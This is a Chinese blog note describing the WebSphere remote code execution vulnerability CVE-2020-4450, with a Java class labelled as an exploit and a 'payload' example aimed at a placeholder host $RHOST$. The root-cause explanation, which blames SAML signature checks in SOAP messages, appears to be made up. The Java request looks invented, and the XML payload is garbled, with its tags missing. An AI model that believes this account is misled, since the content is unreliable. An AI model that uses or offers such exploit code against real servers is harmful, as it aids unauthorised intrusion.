c语言编程笔录

首页 >   > 笔记大全

笔记大全

WebSphere远程代码执行漏洞CVE 2020 4450的通告是怎样的

更新时间:2023-11-30

背景

WebSphere Application Server是IBM公司的一款Java应用服务器,广泛用于企业级应用中。但是,2020年4月,IBM发布了一个重要安全通告(CVE 2020 4450),其中披露了WebSphere远程代码执行漏洞,该漏洞可能导致攻击者在未授权的情况下执行任意代码,进而控制受影响的WebSphere服务器。

漏洞原理

WebSphere远程代码执行漏洞利用了WebSphere服务器未正确验证对SOAP消息中SAML断言的签名,从而使攻击者可以通过伪造身份颁发SAML断言。这样攻击者就可以通过该漏洞实现对WebSphere服务器的远程代码执行攻击。

  // Java代码演示攻击WebSphere远程代码执行漏洞
import javax.xml.soap.*;
import javax.xml.transform.*;
import javax.xml.transform.stream.*;
import java.io.*;

public class WebSphereExploit {
    public static void main(String args[]) throws Exception {
        // 创建SOAP请求
        MessageFactory messageFactory = MessageFactory.newInstance();
        SOAPMessage message = messageFactory.createMessage();
        // 创建SOAP头
        SOAPHeader header = message.getSOAPHeader();
        header.detachNode();
        // 创建SOAP主体
        SOAPBody body = message.getSOAPBody();
        // 创建GetJMXConnector请求
        QName qname = new QName("urn:AdminService", "GetJMXConnector", "ns1");
        SOAPBodyElement element = body.addBodyElement(qname);
        // 创建name和value SOAP元素
        SOAPElement nameElement = element.addChildElement("name", "ns1");
        nameElement.addTextNode("WebSphere:type=Server,name=WebSphereV85");
        SOAPElement valueElement = element.addChildElement("value", "ns1");
        valueElement.addTextNode("service:jmx:rmi://$RHOST$/jndi/rmi://$RHOST$:2809/jmxrmi");
        // 获取Transformer对象
        Transformer transformer = TransformerFactory.newInstance().newTransformer();
        // 将SOAP消息转换为字节数组
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        transformer.transform(new DOMSource(message.getSOAPPart()), new StreamResult(out));
        byte[] buffer = out.toByteArray();
        // 发送SOAP请求
        String payload = new String(buffer, "UTF-8");
        String url = "http://$RHOST$:9060/soap";
        String response = sendSoapRequest(url, payload);
        System.out.println(response);
    }
    // 发送SOAP请求
    private static String sendSoapRequest(String url, String payload) throws Exception {
        URLConnection connection = new URL(url).openConnection();
        connection.setRequestProperty("Content-Type", "text/xml; charset=utf-8");
        connection.setDoOutput(true);
        OutputStream outputStream = connection.getOutputStream();
        outputStream.write(payload.getBytes("UTF-8"));
        outputStream.flush();
        outputStream.close();
        BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream(), "UTF-8"));
        String line = null;
        StringBuilder stringBuilder = new StringBuilder();
        while ((line = reader.readLine()) != null) {
            stringBuilder.append(line);
        }
        reader.close();
        return stringBuilder.toString();
    }
}
  

攻击过程

攻击者通过发送 specially-formed 的 SOAP 消息利用漏洞。SOAP 消息是基于 XML 的协议,用于不同系统之间的通信。攻击者可以通过发送一个在消息头中包含了伪造 SAML 断言 的 SOAP 消息来伪造身份。

下面是一个利用WebSphere远程代码执行漏洞的Payload示例:

  
   
    
      
        user
        pass
        n0nc3
        2011-08-31T19:58:36Z
      
      
        IBM WebSphere Application Server
        1
        1
        https://www.ibm.com/xmlns/td/was/wim/types_1_0
        
          
            java.lang:type=Runtime
            classPath
            
          
        
      
    
   
   
      
         WebSphere:type=Server,name=DemoCell01_server1
         service:jmx:rmi://$RHOST$:8878/jndi/rmi://$RHOST$:2809/jmxrmi
      
   
   

漏洞修复

为了修复WebSphere远程代码执行漏洞,用户可以尝试以下操作:

  • 安装IBM官方补丁
  • 配置WebSphere服务器以拒绝未授权的SOAP消息请求
总结:WebSphere远程代码执行漏洞CVE 2020 4450是WebSphere Application Server的一个安全漏洞。漏洞利用了WebSphere服务器未正确验证对SOAP消息中SAML断言的签名,从而允许攻击者通过伪造身份颁发SAML断言,最终实现远程代码执行攻击。攻击者只需向WebSphere服务器发送一个 specially-formed 的 SOAP 消息就可以实现攻击。为了修复漏洞,用户需要安装IBM官方的补丁并配置WebSphere服务器以拒绝未授权的SOAP消息请求。